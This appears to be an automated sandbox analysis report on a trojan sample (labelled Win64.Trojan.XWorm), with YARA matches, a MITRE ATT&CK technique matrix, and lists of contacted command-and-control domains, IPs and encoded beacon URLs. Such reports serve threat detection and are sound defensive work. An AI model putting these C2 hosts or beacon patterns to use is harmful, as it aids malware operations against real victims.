Source: Yara match	File source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match	File source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Access Token Manipulation	3 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	Boot or Logon Initialization Scripts	812 Process Injection	1 Access Token Manipulation	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	Logon Script (Windows)	1 DLL Side-Loading	812 Process Injection	Security Account Manager	3 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
kHslwiV2w6.exe	47%	ReversingLabs	Win64.Trojan.XWorm

Name	IP	Active	Malicious	Reputation
parkingpage.namecheap.com	91.195.240.19	true	true	unknown
www.tigajco69.fun	172.67.143.211	true	true	unknown
www.coinbureau.xyz	13.248.169.48	true	true	unknown
proxy-ssl-geo.webflow.com	52.206.163.162	true	true	unknown
andrewghita.com	172.66.0.70	true	true	unknown
webuyandsellpa.com	63.141.128.16	true	true	unknown
localhomeservicesadvisor.com	3.33.130.190	true	true	unknown
www.pittsparking.com	104.247.81.174	true	true	unknown
www.qqkartel88v1.com	172.67.130.46	true	true	unknown
www.wshifen.com	103.235.47.188	true	true	unknown
ssl1.prod.systemdragon.com	104.18.188.223	true	true	unknown
ext-sq.squarespace.com	198.185.159.144	true	true	unknown
www.woby.xyz	13.248.252.114	true	true	unknown
equipoleiremnacional.com	192.250.227.27	true	true	unknown
www.localhomeservicesadvisor.com	unknown	unknown	true	unknown
www.j3k7n.xyz	unknown	unknown	true	unknown
www.piedge-taiko.net	unknown	unknown	true	unknown
www.vizamag.com	unknown	unknown	true	unknown
www.jalaios10.vip	unknown	unknown	true	unknown
www.attorney-services-8344642.zone	unknown	unknown	true	unknown
www.webuyandsellpa.com	unknown	unknown	true	unknown
www.upcyclecharms.com	unknown	unknown	true	unknown
www.rakring.com	unknown	unknown	true	unknown
www.saeutah.com	unknown	unknown	true	unknown
www.chiri.lat	unknown	unknown	true	unknown
www.equipoleiremnacional.com	unknown	unknown	true	unknown
www.rslotrank.win	unknown	unknown	true	unknown
www.zruypj169g.top	unknown	unknown	true	unknown
www.z8ggd.com	unknown	unknown	true	unknown
www.andrewghita.com	unknown	unknown	true	unknown
www.yeslabs.xyz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.attorney-services-8344642.zone/md02/?all=VJE6G0uhaXXjZ9YRdQlMdfAmJtBHOO9P9ftsD0Za8iws3BCdMQRNDr5e7yfdzu876eSq&P6=6lUxOJCX68zXY	true	unknown
http://www.andrewghita.com/md02/?all=h80NDNStJT1K2TvWS0Hn00m/568InfN4qw4a/Ot4iW3ni2fqEGOFCNj8nYFszZLP0eyh&P6=6lUxOJCX68zXY	true	unknown
http://www.yeslabs.xyz/md02/?all=PFllZ1wBFT+zd6wAz/9Wh67A0WfaovzBimzeDVQv10BU1t/rlxqvwJuzFJn/ILzX+D6Y&P6=6lUxOJCX68zXY	true	unknown
http://www.upcyclecharms.com/md02/?all=Huvb14uAl+TqSP+sM2oBgNUO4U2JwQZ3Rl/9gDSI5Y6jcOUTIOoj4XqjJyA8WIhVJbwk&P6=6lUxOJCX68zXY	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/MostlyCloudyNight.pn	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/news/politics/chris-christie-former-trump-debate-coach-offers-key-pieces-o	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.equipoleiremnacional.comReferer:	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.rslotrank.win	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	kHslwiV2w6.exe	false	unknown
http://www.coinbureau.xyz	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.z8ggd.com/md02/www.qqkartel88v1.com	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gyvW	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/money/markets?id=a3oxnm	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.chiri.latReferer:	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://android.notify.windows.com/iOSP	explorer.exe, 00000004.00000003.8285449351.0000000010BEC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6858022237.0000000010BA5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287825721.0000000010C9D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11897707281.0000000010C91000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286577674.0000000010C83000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000004.00000002.11890837892.000000000CE47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6852064723.000000000CE47000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.hecxion.xyz/md02/www.woby.xyz	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.j3k7n.xyz	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.z8ggd.comReferer:	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.attorney-services-8344642.zone	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.webuyandsellpa.com	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.rakring.comReferer:	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gyvW-dark	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Teaser/humidity.png	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://excel.office.com	explorer.exe, 00000004.00000003.8623027004.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11896448781.0000000010A85000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286306641.0000000010A43000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6857495261.0000000010A43000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.attorney-services-8344642.zone/md02/www.yeslabs.xyz	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Stock_In	explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/channel/source/AZ%20Animals%20US/sr-vid-7etr9q8xun6k6508c3nufaum0de3dqktiq	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.rslotrank.win/md02/www.hecxion.xyz	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.webuyandsellpa.com/md02/	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.piedge-taiko.netReferer:	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/news/crime/dick-van-dyke-forever-young/ar-AA1lDpRD	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.coinbureau.xyz/md02/	explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.localhomeservicesadvisor.comReferer:	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://ns.adv	explorer.exe, 00000004.00000002.11883777705.000000000441B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6844442459.000000000441B000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.piedge-taiko.net	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.rslotrank.winReferer:	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.pittsparking.comReferer:	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.woby.xyzReferer:	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/news/us/trump-repeats-false-claims-that-children-are-undergoing-transgende	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.equipoleiremnacional.com	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.pittsparking.com/md02/www.hecxion.xyz	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://wns.windows.com/	explorer.exe, 00000004.00000003.8285449351.0000000010BEC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6858022237.0000000010BA5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287825721.0000000010C9D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11897707281.0000000010C91000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286577674.0000000010C83000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.tigajco69.fun	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3-dark	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.webuyandsellpa.com/md02/?all=e9dCEAefob0qfIp2qzYjc8hnpuRDR3iBtFDetlkNhl3JkGKef1d6ICtGRMu	explorer.exe, 00000004.00000002.11899785830.000000001444F000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11883241933.0000000005A3F000.00000004.10000000.00040000.00000000.sdmp	false	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	kHslwiV2w6.exe	false	unknown
http://www.hecxion.xyzReferer:	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.localhomeservicesadvisor.com	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/weather/forecast/in-Santa-Clara%2CCalifornia?loc=eyJsIjoiU2FudGEgQ2xhcmEiL	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.webuyandsellpa.com/md02/www.coinbureau.xyz	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/money/markets?id=a6qja2	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/tv/news/the-bold-the-beautiful-young-and-the-restless-more-get-premiere-da	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.j3k7n.xyz/md02/www.upcyclecharms.com	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.equipoleiremnacional.com/md02/	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.qqkartel88v1.com/md02/	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.pittsparking.com	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.hecxion.xyz	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.msn.com/en-us/money/personalfinance/18-everyday-household-items-that-are-surprisingly-va	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Teaser/humidity.svg	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.rakring.com	explorer.exe, 00000004.00000002.11898558035.0000000010DD7000.00000004.00000001.00020000.00000000.sdmp	false	unknown
http://www.vizamag.com/md02/www.tigajco69.fun	explorer.exe, 00000004.00000003.8285280689.0000000010D7E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8287567470.0000000010DBE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8624923083.0000000010DD4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8622429467.0000000010DC5000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://outlook.com	explorer.exe, 00000004.00000003.8623027004.0000000010A7D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11896448781.0000000010A85000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.8286306641.0000000010A43000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6857495261.0000000010A43000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppf	explorer.exe, 00000004.00000003.8288746486.000000000D56B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6853066858.000000000D56B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.11893982088.000000000D56B000.00000004.00000001.00020000.00000000.sdmp	false	unknown
https://www.glamour.com/story/shag-haircut-photos-products	explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	false	unknown
